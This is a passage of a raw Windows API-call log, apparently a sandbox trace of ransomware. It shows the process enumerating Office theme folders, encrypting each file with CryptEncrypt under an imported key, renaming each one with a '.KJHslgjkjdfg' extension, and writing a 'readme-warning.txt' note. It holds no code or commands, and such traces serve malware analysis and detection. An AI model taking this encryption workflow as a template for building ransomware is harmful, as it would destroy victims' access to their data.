lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.498] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.499] GetProcessHeap () returned 0x990000 [0171.499] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.499] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.499] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.499] GetProcessHeap () returned 0x990000 [0171.499] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.499] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\readme-warning.txt") returned 83 [0171.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.499] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.501] CloseHandle (hObject=0x12c) returned 1 [0171.501] GetProcessHeap () returned 0x990000 [0171.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.501] GetProcessHeap () returned 0x990000 [0171.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.501] GetProcessHeap () returned 0x990000 [0171.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.501] GetProcessHeap () returned 0x990000 [0171.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.501] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.501] GetProcessHeap () returned 0x990000 [0171.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0171.502] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0171.502] GetProcessHeap () returned 0x990000 [0171.502] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0171.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.503] GetProcessHeap () returned 0x990000 [0171.503] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0171.503] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.503] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0171.503] GetProcessHeap () returned 0x990000 [0171.503] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0171.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.504] GetProcessHeap () returned 0x990000 [0171.504] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.504] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.504] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.504] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xa, lpOverlapped=0x0) returned 1 [0171.507] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.507] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.507] GetProcessHeap () returned 0x990000 [0171.507] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.507] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.507] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.507] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.507] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.507] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.508] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.508] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.508] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.508] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.508] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.508] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.508] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xda86, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xda86, lpOverlapped=0x0) returned 1 [0171.510] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xda90, dwBufLen=0xda90 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xda90) returned 1 [0171.511] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.511] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xda90, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xda90, lpOverlapped=0x0) returned 1 [0171.511] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.511] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xdb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.511] SetEndOfFile (hFile=0x12c) returned 1 [0171.515] GetProcessHeap () returned 0x990000 [0171.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.515] GetProcessHeap () returned 0x990000 [0171.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.kjhslgjkjdfg")) returned 1 [0171.520] CloseHandle (hObject=0x12c) returned 1 [0171.520] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0171.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.521] GetProcessHeap () returned 0x990000 [0171.522] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.522] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.522] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.522] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0171.524] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.524] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.524] GetProcessHeap () returned 0x990000 [0171.524] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.524] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.524] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.524] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.524] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.524] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.524] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.525] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.525] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.525] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.525] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.525] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.525] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x225, lpOverlapped=0x0) returned 1 [0171.525] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230, dwBufLen=0x230 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230) returned 1 [0171.525] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.525] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x230, lpOverlapped=0x0) returned 1 [0171.525] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.525] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.525] SetEndOfFile (hFile=0x12c) returned 1 [0171.528] GetProcessHeap () returned 0x990000 [0171.528] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.528] GetProcessHeap () returned 0x990000 [0171.528] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.kjhslgjkjdfg")) returned 1 [0171.540] CloseHandle (hObject=0x12c) returned 1 [0171.544] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.545] GetProcessHeap () returned 0x990000 [0171.545] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.545] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.545] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.545] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0171.548] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.548] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.548] GetProcessHeap () returned 0x990000 [0171.548] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.548] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.548] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.549] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.549] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.549] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.549] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.549] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.549] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.549] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.549] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.549] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.549] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x785, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x785, lpOverlapped=0x0) returned 1 [0171.549] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x790, dwBufLen=0x790 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x790) returned 1 [0171.549] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.550] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x790, lpOverlapped=0x0) returned 1 [0171.550] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.550] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.550] SetEndOfFile (hFile=0x12c) returned 1 [0171.552] GetProcessHeap () returned 0x990000 [0171.553] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.553] GetProcessHeap () returned 0x990000 [0171.553] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.553] CloseHandle (hObject=0x12c) returned 1 [0171.554] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.555] GetProcessHeap () returned 0x990000 [0171.555] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.555] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.555] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.555] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0171.558] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.558] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.558] GetProcessHeap () returned 0x990000 [0171.558] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.558] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.558] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.558] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, 